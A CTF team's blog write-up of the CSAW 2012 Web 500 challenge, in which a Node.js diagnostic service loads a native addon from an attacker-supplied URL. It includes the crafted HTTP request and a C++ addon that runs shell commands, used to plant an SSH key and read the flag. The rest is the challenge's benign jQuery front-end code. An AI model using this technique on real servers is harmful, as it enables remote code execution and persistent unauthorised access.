team pong

Dutch CTF "team pong" write-ups and other stuff

Posts Tagged ‘web

CSAW 2012 – Web 500

leave a comment »

Challenge
Derpsoft
Hello, QA personnel! As you know, we here at Noderpsoft are desperately trying to put the finishing touches on our Noderper web UI, and although we’re super mega confident in the awesomenes of our Web 12.0-centric strategy, we had some security consultant jerk tell us that our diagnostic interface was a Pastebin in the making.
What a load of baloney! There isn’t anything wrong with it, but just to satisfy the derpiest of derps, we thought we’d let you all prove us RIGHT!
What better way to check the status of your system than with common Lunix commands, and even offer an awesome Web 2.5-3.0 (depending on who we’re marketing to that day) friendly extensible interface?!?!??!?!?!?!?!??!?!?!
We hope you like Noderper as much as we do, and find zero bugs or mythical, so-called security vulnerabilities in it. Otherwise, you’re fired.
Sincerely, and with all the hopes for the most ludicrous of V.C. money,
Roberto J. Quinetana
URL:http://128.238.66.219:8080/

Writeup
Web500 gave us a “diagnostic” webinterface with which it appeared command execution was possible. Different commands were executed, including ‘uname -a’, ‘ps’ and some others. The interface was very limited, no other commands could be executed. There was also an option with which to test the extension of the system, here is the http call:

Request:

POST /handler HTTP/1.1
Host: 128.238.66.219:8080
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Referer: http://128.238.66.219:8080/index.html
Content-Length: 86
DNT: 1
Pragma: no-cache
Cache-Control: no-cache

{"message":"extenderp","extenderpurl":"http://127.0.0.1:8080/test/extenderptest.node"}

Response:

HTTP/1.1 200 OK
Content-Type: text/plain
Date: Sat, 29 Sep 2012 17:04:40 GMT
Connection: keep-alive
Content-Length: 57

{"message":"Extenderp interface test passed! We hope..."}

The file extenderptest.node could be fetched and analysed. It appeared to be an nodejs addon written in cpp.

By altering the extenderpurl in the request it was possible to make a call to an external controlled server.

After setting up an 64-bit nodejs development environment we have written a nodejs addon for command execution. We placed this module on our own server and pointed the extenderpurl to this module which was loaded by the server and gave us control.

#include <node.h>
#include <v8.h>
#include <iostream>
#include <stdio.h>
#include <string>

using namespace v8;

Handle<Value> Method(const Arguments& args) {
  HandleScope scope;
  
  FILE* pipe = popen("whoami","r");
  if (!pipe) return String::New("ERROR opening command");
  char buffer[128];
  std::string result="";
  while(!feof(pipe)){
	if(fgets(buffer,128,pipe) != NULL)
		result+=buffer;
  }
  pclose(pipe);
 	 
  return scope.Close(String::New(result.c_str()));
//  return scope.Close(String::New("Team Pong was here :)"));
}

void init(Handle<Object> target) {
  target->Set(String::NewSymbol("test"),
      FunctionTemplate::New(Method)->GetFunction());
}
NODE_MODULE(extenderptest, init)

With this module we added a ssh key to /home/noderp/.ssh/authorized_keys for fun :).

Gaining SSH access to the machine was fun. With that we also found the key.

cat /opt/noderp/htdocs/key which gave us the key: d63d4a48390b6e61399b5e9ce4eae9af17e87c3

Below is the source of the challenge NodeJS server for an interesting read:

$(document)
    .ready(function () {
    function sendMsg(message, extenderpurl) {
        $.ajax({
            url: "/handler",
            type: "post",
            dataType: "json",
            contentType: 'application/json; charset=utf-8',
            cache: false,
            timeout: 5000,
            data: JSON.stringify({
                "message": message,
                "extenderpurl": extenderpurl
            }),
            success: function (response) {
                if (response.file) {
                    $("#output")
                        .html(unescape(response.file)
                        .toString())
                } else {
                    $("#output")
                        .text(unescape(response.message))
                }
            },
            error: function (jqXHR, textStatus, errorThrown) {
                console.log(jqXHR.responseText);
                console.log('Error: ' + textStatus + " " + errorThrown)
            }
        })
    }
    var timeoutID;
    $('.dropdown')
        .mouseenter(function () {
        $('.sublinks')
            .stop(false, true)
            .hide();
        window.clearTimeout(timeoutID);
        var submenu = $(this)
            .parent()
            .next();
        submenu.css({
            position: 'absolute',
            top: $(this)
                .offset()
                .top + $(this)
                .height() + 'px',
            left: $(this)
                .offset()
                .left + 'px',
            zIndex: 1000
        });
        submenu.stop()
            .slideDown(300);
        submenu.mouseleave(function () {
            $(this)
                .slideUp(300)
        });
        submenu.mouseenter(function () {
            window.clearTimeout(timeoutID)
        })
    });
    $('.dropdown')
        .mouseleave(function () {
        timeoutID = window.setTimeout(function () {
            $('.sublinks')
                .stop(false, true)
                .slideUp(300)
        }, 250)
    });
    $('a')
        .click(function (event) {
        event.preventDefault()
    });
    $('a.sublink')
        .click(function () {
        sendMsg($(this)
            .attr('id'), $(this)
            .attr('extenderpurl'))
    });
    $('a.sublink')
        .poshytip({
        className: 'tip-darkgray',
        bgImageFrameSize: 11,
        alignY: 'center',
        alignTo: 'target',
        alignX: 'right'
    })
});

(function (e) {
    var a = [],
        d = /^url\(["']?([^"'\)]*)["']?\);?$/i,
        c = /\.png$/i,
        b = e.browser.msie && e.browser.version == 6;

    function f() {
        e.each(a, function () {
            this.refresh(true)
        })
    }
    e(window)
        .resize(f);
    e.Poshytip = function (h, g) {
        this.$elm = e(h);
        this.opts = e.extend({}, e.fn.poshytip.defaults, g);
        this.$tip = e(['<div class="', this.opts.className, '">', '<div class="tip-inner tip-bg-image"></div>', '<div class="tip-arrow tip-arrow-top tip-arrow-right tip-arrow-bottom tip-arrow-left"></div>', "</div>"].join(""))
            .appendTo(document.body);
        this.$arrow = this.$tip.find("div.tip-arrow");
        this.$inner = this.$tip.find("div.tip-inner");
        this.disabled = false;
        this.content = null;
        this.init()
    };
    e.Poshytip.prototype = {
        init: function () {
            a.push(this);
            var g = this.$elm.attr("title");
            this.$elm.data("title.poshytip", g !== undefined ? g : null)
                .data("poshytip", this);
            if (this.opts.showOn != "none") {
                this.$elm.bind({
                    "mouseenter.poshytip": e.proxy(this.mouseenter, this),
                    "mouseleave.poshytip": e.proxy(this.mouseleave, this)
                });
                switch (this.opts.showOn) {
                case "hover":
                    if (this.opts.alignTo == "cursor") {
                        this.$elm.bind("mousemove.poshytip", e.proxy(this.mousemove, this))
                    }
                    if (this.opts.allowTipHover) {
                        this.$tip.hover(e.proxy(this.clearTimeouts, this), e.proxy(this.mouseleave, this))
                    }
                    break;
                case "focus":
                    this.$elm.bind({
                        "focus.poshytip": e.proxy(this.show, this),
                        "blur.poshytip": e.proxy(this.hide, this)
                    });
                    break
                }
            }
        },
        mouseenter: function (g) {
            if (this.disabled) {
                return true
            }
            this.$elm.attr("title", "");
            if (this.opts.showOn == "focus") {
                return true
            }
            this.clearTimeouts();
            this.showTimeout = setTimeout(e.proxy(this.show, this), this.opts.showTimeout)
        },
        mouseleave: function (g) {
            if (this.disabled || this.asyncAnimating && (this.$tip[0] === g.relatedTarget || jQuery.contains(this.$tip[0], g.relatedTarget))) {
                return true
            }
            var h = this.$elm.data("title.poshytip");
            if (h !== null) {
                this.$elm.attr("title", h)
            }
            if (this.opts.showOn == "focus") {
                return true
            }
            this.clearTimeouts();
            this.hideTimeout = setTimeout(e.proxy(this.hide, this), this.opts.hideTimeout)
        },
        mousemove: function (g) {
            if (this.disabled) {
                return true
            }
            this.eventX = g.pageX;
            this.eventY = g.pageY;
            if (this.opts.followCursor && this.$tip.data("active")) {
                this.calcPos();
                this.$tip.css({
                    left: this.pos.l,
                    top: this.pos.t
                });
                if (this.pos.arrow) {
                    this.$arrow[0].className = "tip-arrow tip-arrow-" + this.pos.arrow
                }
            }
        },
        show: function () {
            if (this.disabled || this.$tip.data("active")) {
                return
            }
            this.reset();
            this.update();
            this.display();
            if (this.opts.timeOnScreen) {
                this.clearTimeouts();
                this.hideTimeout = setTimeout(e.proxy(this.hide, this), this.opts.timeOnScreen)
            }
        },
        hide: function () {
            if (this.disabled || !this.$tip.data("active")) {
                return
            }
            this.display(true)
        },
        reset: function () {
            this.$tip.queue([])
                .detach()
                .css("visibility", "hidden")
                .data("active", false);
            this.$inner.find("*")
                .poshytip("hide");
            if (this.opts.fade) {
                this.$tip.css("opacity", this.opacity)
            }
            this.$arrow[0].className = "tip-arrow tip-arrow-top tip-arrow-right tip-arrow-bottom tip-arrow-left";
            this.asyncAnimating = false
        },
        update: function (j, k) {
            if (this.disabled) {
                return
            }
            var i = j !== undefined;
            if (i) {
                if (!k) {
                    this.opts.content = j
                }
                if (!this.$tip.data("active")) {
                    return
                }
            } else {
                j = this.opts.content
            }
            var h = this,
                g = typeof j == "function" ? j.call(this.$elm[0], function (l) {
                    h.update(l)
                }) : j == "[title]" ? this.$elm.data("title.poshytip") : j;
            if (this.content !== g) {
                this.$inner.empty()
                    .append(g);
                this.content = g
            }
            this.refresh(i)
        },
        refresh: function (h) {
            if (this.disabled) {
                return
            }
            if (h) {
                if (!this.$tip.data("active")) {
                    return
                }
                var k = {
                    left: this.$tip.css("left"),
                    top: this.$tip.css("top")
                }
            }
            this.$tip.css({
                left: 0,
                top: 0
            })
                .appendTo(document.body);
            if (this.opacity === undefined) {
                this.opacity = this.$tip.css("opacity")
            }
            var l = this.$tip.css("background-image")
                .match(d),
                m = this.$arrow.css("background-image")
                    .match(d);
            if (l) {
                var i = c.test(l[1]);
                if (b && i) {
                    this.$tip.css("background-image", "none");
                    this.$inner.css({
                        margin: 0,
                        border: 0,
                        padding: 0
                    });
                    l = i = false
                } else {
                    this.$tip.prepend('<table border="0" cellpadding="0" cellspacing="0"><tr><td class="tip-top tip-bg-image" colspan="2"><span></span></td><td class="tip-right tip-bg-image" rowspan="2"><span></span></td></tr><tr><td class="tip-left tip-bg-image" rowspan="2"><span></span></td><td></td></tr><tr><td class="tip-bottom tip-bg-image" colspan="2"><span></span></td></tr></table>')
                        .css({
                        border: 0,
                        padding: 0,
                        "background-image": "none",
                        "background-color": "transparent"
                    })
                        .find(".tip-bg-image")
                        .css("background-image", 'url("' + l[1] + '")')
                        .end()
                        .find("td")
                        .eq(3)
                        .append(this.$inner)
                }
                if (i && !e.support.opacity) {
                    this.opts.fade = false
                }
            }
            if (m && !e.support.opacity) {
                if (b && c.test(m[1])) {
                    m = false;
                    this.$arrow.css("background-image", "none")
                }
                this.opts.fade = false
            }
            var o = this.$tip.find("table");
            if (b) {
                this.$tip[0].style.width = "";
                o.width("auto")
                    .find("td")
                    .eq(3)
                    .width("auto");
                var n = this.$tip.width(),
                    j = parseInt(this.$tip.css("min-width")),
                    g = parseInt(this.$tip.css("max-width"));
                if (!isNaN(j) && n < j) {
                    n = j
                } else {
                    if (!isNaN(g) && n > g) {
                        n = g
                    }
                }
                this.$tip.add(o)
                    .width(n)
                    .eq(0)
                    .find("td")
                    .eq(3)
                    .width("100%")
            } else {
                if (o[0]) {
                    o.width("auto")
                        .find("td")
                        .eq(3)
                        .width("auto")
                        .end()
                        .end()
                        .width(document.defaultView && document.defaultView.getComputedStyle && parseFloat(document.defaultView.getComputedStyle(this.$tip[0], null)
                        .width) || this.$tip.width())
                        .find("td")
                        .eq(3)
                        .width("100%")
                }
            }
            this.tipOuterW = this.$tip.outerWidth();
            this.tipOuterH = this.$tip.outerHeight();
            this.calcPos();
            if (m && this.pos.arrow) {
                this.$arrow[0].className = "tip-arrow tip-arrow-" + this.pos.arrow;
                this.$arrow.css("visibility", "inherit")
            }
            if (h && this.opts.refreshAniDuration) {
                this.asyncAnimating = true;
                var p = this;
                this.$tip.css(k)
                    .animate({
                    left: this.pos.l,
                    top: this.pos.t
                }, this.opts.refreshAniDuration, function () {
                    p.asyncAnimating = false
                })
            } else {
                this.$tip.css({
                    left: this.pos.l,
                    top: this.pos.t
                })
            }
        },
        display: function (h) {
            var i = this.$tip.data("active");
            if (i && !h || !i && h) {
                return
            }
            this.$tip.stop();
            if ((this.opts.slide && this.pos.arrow || this.opts.fade) && (h && this.opts.hideAniDuration || !h && this.opts.showAniDuration)) {
                var m = {}, l = {};
                if (this.opts.slide && this.pos.arrow) {
                    var k, g;
                    if (this.pos.arrow == "bottom" || this.pos.arrow == "top") {
                        k = "top";
                        g = "bottom"
                    } else {
                        k = "left";
                        g = "right"
                    }
                    var j = parseInt(this.$tip.css(k));
                    m[k] = j + (h ? 0 : (this.pos.arrow == g ? -this.opts.slideOffset : this.opts.slideOffset));
                    l[k] = j + (h ? (this.pos.arrow == g ? this.opts.slideOffset : -this.opts.slideOffset) : 0) + "px"
                }
                if (this.opts.fade) {
                    m.opacity = h ? this.$tip.css("opacity") : 0;
                    l.opacity = h ? 0 : this.opacity
                }
                this.$tip.css(m)
                    .animate(l, this.opts[h ? "hideAniDuration" : "showAniDuration"])
            }
            h ? this.$tip.queue(e.proxy(this.reset, this)) : this.$tip.css("visibility", "inherit");
            this.$tip.data("active", !i)
        },
        disable: function () {
            this.reset();
            this.disabled = true
        },
        enable: function () {
            this.disabled = false
        },
        destroy: function () {
            this.reset();
            this.$tip.remove();
            delete this.$tip;
            this.content = null;
            this.$elm.unbind(".poshytip")
                .removeData("title.poshytip")
                .removeData("poshytip");
            a.splice(e.inArray(this, a), 1)
        },
        clearTimeouts: function () {
            if (this.showTimeout) {
                clearTimeout(this.showTimeout);
                this.showTimeout = 0
            }
            if (this.hideTimeout) {
                clearTimeout(this.hideTimeout);
                this.hideTimeout = 0
            }
        },
        calcPos: function () {
            var n = {
                l: 0,
                t: 0,
                arrow: ""
            }, h = e(window),
                k = {
                    l: h.scrollLeft(),
                    t: h.scrollTop(),
                    w: h.width(),
                    h: h.height()
                }, p, j, m, i, q, g;
            if (this.opts.alignTo == "cursor") {
                p = j = m = this.eventX;
                i = q = g = this.eventY
            } else {
                var o = this.$elm.offset(),
                    l = {
                        l: o.left,
                        t: o.top,
                        w: this.$elm.outerWidth(),
                        h: this.$elm.outerHeight()
                    };
                p = l.l + (this.opts.alignX != "inner-right" ? 0 : l.w);
                j = p + Math.floor(l.w / 2);
                m = p + (this.opts.alignX != "inner-left" ? l.w : 0);
                i = l.t + (this.opts.alignY != "inner-bottom" ? 0 : l.h);
                q = i + Math.floor(l.h / 2);
                g = i + (this.opts.alignY != "inner-top" ? l.h : 0)
            }
            switch (this.opts.alignX) {
            case "right":
            case "inner-left":
                n.l = m + this.opts.offsetX;
                if (n.l + this.tipOuterW > k.l + k.w) {
                    n.l = k.l + k.w - this.tipOuterW
                }
                if (this.opts.alignX == "right" || this.opts.alignY == "center") {
                    n.arrow = "left"
                }
                break;
            case "center":
                n.l = j - Math.floor(this.tipOuterW / 2);
                if (n.l + this.tipOuterW > k.l + k.w) {
                    n.l = k.l + k.w - this.tipOuterW
                } else {
                    if (n.l < k.l) {
                        n.l = k.l
                    }
                }
                break;
            default:
                n.l = p - this.tipOuterW - this.opts.offsetX;
                if (n.l < k.l) {
                    n.l = k.l
                }
                if (this.opts.alignX == "left" || this.opts.alignY == "center") {
                    n.arrow = "right"
                }
            }
            switch (this.opts.alignY) {
            case "bottom":
            case "inner-top":
                n.t = g + this.opts.offsetY;
                if (!n.arrow || this.opts.alignTo == "cursor") {
                    n.arrow = "top"
                }
                if (n.t + this.tipOuterH > k.t + k.h) {
                    n.t = i - this.tipOuterH - this.opts.offsetY;
                    if (n.arrow == "top") {
                        n.arrow = "bottom"
                    }
                }
                break;
            case "center":
                n.t = q - Math.floor(this.tipOuterH / 2);
                if (n.t + this.tipOuterH > k.t + k.h) {
                    n.t = k.t + k.h - this.tipOuterH
                } else {
                    if (n.t < k.t) {
                        n.t = k.t
                    }
                }
                break;
            default:
                n.t = i - this.tipOuterH - this.opts.offsetY;
                if (!n.arrow || this.opts.alignTo == "cursor") {
                    n.arrow = "bottom"
                }
                if (n.t < k.t) {
                    n.t = g + this.opts.offsetY;
                    if (n.arrow == "bottom") {
                        n.arrow = "top"
                    }
                }
            }
            this.pos = n
        }
    };
    e.fn.poshytip = function (h) {
        if (typeof h == "string") {
            var g = arguments,
                k = h;
            Array.prototype.shift.call(g);
            if (k == "destroy") {
                this.die("mouseenter.poshytip")
                    .die("focus.poshytip")
            }
            return this.each(function () {
                var l = e(this)
                    .data("poshytip");
                if (l && l[k]) {
                    l[k].apply(l, g)
                }
            })
        }
        var i = e.extend({}, e.fn.poshytip.defaults, h);
        if (!e("#poshytip-css-" + i.className)[0]) {
            e(['<style id="poshytip-css-', i.className, '" type="text/css">', "div.", i.className, "{visibility:hidden;position:absolute;top:0;left:0;}", "div.", i.className, " table, div.", i.className, " td{margin:0;font-family:inherit;font-size:inherit;font-weight:inherit;font-style:inherit;font-variant:inherit;}", "div.", i.className, " td.tip-bg-image span{display:block;font:1px/1px sans-serif;height:", i.bgImageFrameSize, "px;width:", i.bgImageFrameSize, "px;overflow:hidden;}", "div.", i.className, " td.tip-right{background-position:100% 0;}", "div.", i.className, " td.tip-bottom{background-position:100% 100%;}", "div.", i.className, " td.tip-left{background-position:0 100%;}", "div.", i.className, " div.tip-inner{background-position:-", i.bgImageFrameSize, "px -", i.bgImageFrameSize, "px;}", "div.", i.className, " div.tip-arrow{visibility:hidden;position:absolute;overflow:hidden;font:1px/1px sans-serif;}", "</style>"].join(""))
                .appendTo("head")
        }
        if (i.liveEvents && i.showOn != "none") {
            var j = e.extend({}, i, {
                liveEvents: false
            });
            switch (i.showOn) {
            case "hover":
                this.live("mouseenter.poshytip", function () {
                    var l = e(this);
                    if (!l.data("poshytip")) {
                        l.poshytip(j)
                            .poshytip("mouseenter")
                    }
                });
                break;
            case "focus":
                this.live("focus.poshytip", function () {
                    var l = e(this);
                    if (!l.data("poshytip")) {
                        l.poshytip(j)
                            .poshytip("show")
                    }
                });
                break
            }
            return this
        }
        return this.each(function () {
            new e.Poshytip(this, i)
        })
    };
    e.fn.poshytip.defaults = {
        content: "[title]",
        className: "tip-yellow",
        bgImageFrameSize: 10,
        showTimeout: 500,
        hideTimeout: 100,
        timeOnScreen: 0,
        showOn: "hover",
        liveEvents: false,
        alignTo: "cursor",
        alignX: "right",
        alignY: "top",
        offsetX: -22,
        offsetY: 18,
        allowTipHover: true,
        followCursor: false,
        fade: true,
        slide: true,
        slideOffset: 8,
        showAniDuration: 300,
        hideAniDuration: 300,
        refreshAniDuration: 200
    }
})(jQuery);

Written by teampong

October 1, 2012 at 9:19 am

Posted in writeup

Tagged with ,